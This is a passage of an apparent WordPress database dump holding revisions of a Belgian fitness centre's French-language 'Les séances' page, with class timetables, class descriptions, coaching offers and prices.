style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:23:57', '2013-07-04 16:23:57', '', 11, 'http://www.crosstrainingcenter.be/?p=280', 0, 'revision', '', 0),
(281, 1, '2013-07-04 16:27:23', '2013-07-04 16:27:23', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:27:23', '2013-07-04 16:27:23', '', 11, 'http://www.crosstrainingcenter.be/?p=281', 0, 'revision', '', 0),
(282, 1, '2013-07-04 16:28:48', '2013-07-04 16:28:48', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td 